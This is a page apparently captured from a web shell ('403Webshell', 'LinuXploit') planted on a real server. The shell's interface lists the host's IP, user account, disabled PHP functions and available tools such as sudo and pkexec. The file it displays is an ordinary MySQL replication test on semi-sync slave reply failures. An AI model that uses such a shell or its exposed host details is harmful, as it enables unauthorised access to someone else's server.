403Webshell
Server IP : 88.99.149.37  /  Your IP : 216.73.216.141
Web Server : nginx/1.31.2
System : Linux server-88-99-149-37 6.12.0-124.56.5.el10_1.x86_64 #1 SMP PREEMPT_DYNAMIC Fri May 15 06:12:08 EDT 2026 x86_64
User : muralimurth ( 1015)
PHP Version : 8.4.23
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/local/mysql/mysql-test/suite/rpl/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/local/mysql/mysql-test/suite/rpl/t/rpl_semi_sync_slave_reply_fail.test
# ==== Purpose ====
#
# Test verifies that slave IO thread doesn't report an error, when slave fails
# to send an acknowledgment to master with semi sync replication in use.
#
# ==== Implementation ====
#
# Steps:
#    0 - Have semi synchronous replication in use.
#    1 - Enable a debug simulation point which simulates network flush failure
#        at the time of slave reply operation.
#    2 - Do some operation on master and wait for it to be replicated. Master
#        will timeout waiting for reply from slave.
#    3 - Check the slave error log for appropriate error message regarding
#        net_flush operation failure.
#    4 - Remove the debug simulation and do some more DML operations on master
#        and wait for them to be replicated.
#    5 - Slave will be able to replicate and data is consistent on both master
#        and slave. Semi sync will be automatically turned on.
#
# ==== References ====
#
# MDEV-20217: Semi_sync: Last_IO_Error: Fatal error: Failed to run
# 'after_queue_event' hook
#
--source include/have_debug.inc
--source include/master-slave.inc

--connection slave
--source include/stop_slave.inc

--connection master
call mtr.add_suppression("Timeout waiting for reply of binlog*");
call mtr.add_suppression("Master server does not read semi-sync messages*");
--let $sav_timeout_master=`SELECT @@GLOBAL.rpl_semi_sync_master_timeout`
set global rpl_semi_sync_master_enabled = ON;
SET @@GLOBAL.rpl_semi_sync_master_timeout=100;
create table t1 (i int);

--connection slave
set global rpl_semi_sync_slave_enabled = ON;
CALL mtr.add_suppression("Semi-sync slave net_flush*");
SET @save_debug= @@global.debug;
SET GLOBAL debug_dbug="+d,semislave_failed_net_flush";
--source include/start_slave.inc

--connection master
--sync_slave_with_master

# Check error log for correct messages.
let $log_error_= `SELECT @@GLOBAL.log_error`;
if(!$log_error_)
{
    # MySQL Server on windows is started with --console and thus
    # does not know the location of its .err log, use default location
    let $log_error_ = $MYSQLTEST_VARDIR/log/mysqld.2.err;
}
--echo "Assert that Master server does not read semi-sync messages" is present in slave error log.
--let SEARCH_FILE=$log_error_
--let SEARCH_PATTERN=Master server does not read semi-sync messages
--source include/search_pattern_in_file.inc

--echo "Assert that Slave IO thread is up and running."
SHOW STATUS LIKE 'Slave_running';
let $status= query_get_value("show slave status", Slave_IO_Running, 1);
echo Slave_IO_Running= $status;

--echo "Clear the network failure simulation."
SET GLOBAL debug_dbug= @save_debug;

--connection master
insert into t1 values (10);
--sync_slave_with_master

--connection slave
--echo # Compare the tables on master and slave.
--let $diff_tables= master:t1, slave:t1
--source include/diff_tables.inc

--connection master
set statement sql_log_bin=0 for call mtr.add_suppression("Read semi-sync reply magic number error");
SET @save_debug_master= @@global.debug_dbug;
SET GLOBAL debug_dbug="+d,semisync_corrupt_magic";
insert into t1 values (11);

--sync_slave_with_master

--connection master
SET GLOBAL debug_dbug= @save_debug_master;

drop table t1;
--sync_slave_with_master
set global rpl_semi_sync_slave_enabled = OFF;

--connection master
set global rpl_semi_sync_master_enabled = OFF;
--eval SET @@GLOBAL.rpl_semi_sync_master_timeout = $sav_timeout_master
--source include/rpl_end.inc

Youez - 2016 - github.com/yon3zu
LinuXploit